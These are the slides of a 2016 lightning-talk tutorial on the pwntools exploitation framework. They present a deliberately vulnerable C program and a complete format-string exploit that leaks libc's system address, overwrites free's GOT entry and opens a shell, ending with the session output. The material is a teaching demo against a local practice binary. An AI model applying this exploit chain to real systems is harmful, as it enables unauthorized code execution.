Short and confusing introduction to Pwntools

Kokjo / Jonas Rudloff

27. december 2016

What is pwntools?

What is pwntools?

- Pwntools is exploitation framework

What is pwntools?

- Pwntools is exploitation framework
- For rapidly developing exploits.

What is pwntools?

- Pwntools is exploitation framework
- For rapidly developing exploits.
- Eg. for CTF competitions

What is pwntools?

- Pwntools is exploitation framework
- For rapidly developing exploits.
- Eg. for CTF competitions
- Originally developed at the student organization Pwnies at DIKU

What is pwntools?

- Pwntools is exploitation framework
- For rapidly developing exploits.
- Eg. for CTF competitions
- Originally developed at the student organization Pwnies at DIKU
- https://github.com/Gallopsled/pwntools

Sample pwnable program

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IOLBF, 0);
    char *name = malloc(100);
    char buffer[128] = {0};
    printf("What's your name?\n");
    gets(name); // Heap overflow
    printf("Hi, %s\n", name);
    while(strcmp(buffer, "quit")){
        printf("What's to printf today?\n");
        gets(buffer); // Stack overflow
        printf(buffer); // Format string exploit
    }
    free(name); // <- Goal, make free be like system
    return 0;
}
```

Exploitation with Pwntools!

We are going the attack the format string bug in the program,

Exploitation with Pwntools!

We are going the attack the format string bug in the program, but first we need to be able to interact with the program

Exploitation with Pwntools!

We are going the attack the format string bug in the program, but first we need to be able to interact with the program

```
from pwn import *
r = process("./pwnable")
r.interactive()
```

Exploitation with Pwntools!

We are going the attack the format string bug in the program, but first we need to be able to interact with the program

```
from pwn import *
r = process("./pwnable")
r.interactive()
```

Yay!

Exploitation plan

Exploitation plan

- Leak address of `system`

Exploitation plan

- Leak address of `system`
- ... change the got entry of `free` to be the address of `system`

Exploitation plan

- Leak address of `system`
- ... change the got entry of `free` to be the address of `system`
- ... and choose our name to be `/bin/sh`

Exploitation plan

- Leak address of `system`
- ... change the got entry of `free` to be the address of `system`
- ... and choose our name to be `/bin/sh`

```
from pwn import *
r = process("./pwnable")
r.sendlineafter("What's your name?", "/bin/sh")
```

Exploitation plan

- Leak address of `system`
- ... change the got entry of `free` to be the address of `system`
- ... and choose our name to be `/bin/sh`

```
from pwn import *
r = process("./pwnable")
r.sendlineafter("What's your name?", "/bin/sh")
```

and we can call printf like

```
@FmtStr
def printf(s):
    r.sendline(s)
    return r.recvuntil("today?\n", drop=True)
```

`FmtStr` is pwntools magic,

Exploitation plan

- Leak address of `system`
- ... change the got entry of `free` to be the address of `system`
- ... and choose our name to be `/bin/sh`

```
from pwn import *
r = process("./pwnable")
r.sendlineafter("What's your name?", "/bin/sh")
```

and we can call printf like

```
@FmtStr
def printf(s):
    r.sendline(s)
    return r.recvuntil("today?\n", drop=True)
```

`FmtStr` is pwntools magic, which escalates a format string vulnerability to a full memory leaker,

Exploitation plan

- Leak address of `system`
- ... change the got entry of `free` to be the address of `system`
- ... and choose our name to be `/bin/sh`

```
from pwn import *
r = process("./pwnable")
r.sendlineafter("What's your name?", "/bin/sh")
```

and we can call printf like

```
@FmtStr
def printf(s):
    r.sendline(s)
    return r.recvuntil("today?\n", drop=True)
```

`FmtStr` is pwntools magic, which escalates a format string vulnerability to a full memory leaker, and a write-what-where.

Exploitation plan

- Leak address of `system`
- ... change the got entry of `free` to be the address of `system`
- ... and choose our name to be `/bin/sh`

```
from pwn import *
r = process("./pwnable")
r.sendlineafter("What's your name?", "/bin/sh")
```

and we can call printf like

```
@FmtStr
def printf(s):
    r.sendline(s)
    return r.recvuntil("today?\n", drop=True)
```

`FmtStr` is pwntools magic, which escalates a format string vulnerability to a full memory leaker, and a write-what-where. Using standard format string techniques.

Leaking the address of `system`

Leaking the address of `system`

Idea:

Leaking the address of `system`

Idea:

- Do what the dynamic linker would do!

Leaking the address of `system`

Idea:

- Do what the dynamic linker would do!
- We will use our memory leaker!

Leaking the address of `system`

Idea:

- Do what the dynamic linker would do!
- We will use our memory leaker!
- Do pointer chasing and hashtable lookups inside ELF files.

Leaking the address of `system`

Idea:

- Do what the dynamic linker would do!
- We will use our memory leaker!
- Do pointer chasing and hashtable lookups inside ELF files.
- Pwntools have built-in support for this: DynELF!!

```
e = ELF("./pwnable")
d = DynELF(printf.leaker, elf=e)
system = d.lookup("system", "libc.so")
```

Leaking the address of `system`

Idea:

- Do what the dynamic linker would do!
- We will use our memory leaker!
- Do pointer chasing and hashtable lookups inside ELF files.
- Pwntools have built-in support for this: DynELF!!

```
e = ELF("./pwnable")
d = DynELF(printf.leaker, elf=e)
system = d.lookup("system", "libc.so")
```

The variable `system` now contains the address of `system` inside the running process `./pwnable`

Overwriting the GOT entry of `free`

Overwriting the GOT entry of `free`

Easy!!!

Overwriting the GOT entry of `free`

Easy!!! We will just use the format string exploit again!

Overwriting the GOT entry of `free`

Easy!!! We will just use the format string exploit again!

```
printf.write(e.got["free"], system)
printf.execute_writes()
```

Overwriting the GOT entry of `free`

Easy!!! We will just use the format string exploit again!

```
printf.write(e.got["free"], system)
printf.execute_writes()
```

What is left is just to call free, and we are done!

Overwriting the GOT entry of `free`

Easy!!! We will just use the format string exploit again!

```
printf.write(e.got["free"], system)
printf.execute_writes()
```

What is left is just to call free, and we are done!

```
r.sendline("quit") #Trigger, call system("/bin/sh")
r.clean()
r.interactive()
```

```
[+] Opening connection to localhost on port 1337: Done
[*] Found format string offset: 7
[*] '/home/jonas/code/lightning-talk-33c3/pwnable'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Loading from '/home/jonas/code/lightning-talk-33c3
    /pwnable': 0xf77be930
[+] Resolving 'system' in 'libc.so': 0xf77be930
[*] Switching to interactive mode
$ whoami
pwnable
$ cat flag
omglol, hello 33C3!!!
$
```

Final exploit

```
from pwn import *

r = remote("localhost", 1337)
r.sendlineafter("name?", "/bin/sh")
r.recvuntil("today?\n")

@FmtStr
def printf(s):
    r.sendline(s)
    return r.recvuntil("today?\n", drop=True)

e = ELF("./pwnable")
d = DynELF(printf.leaker, elf=e)
system = d.lookup("system", "libc.so")

printf.write(e.got["free"], system)
printf.execute_writes()

r.sendline("quit") #Trigger, call system("/bin/sh")
r.interactive()
```

References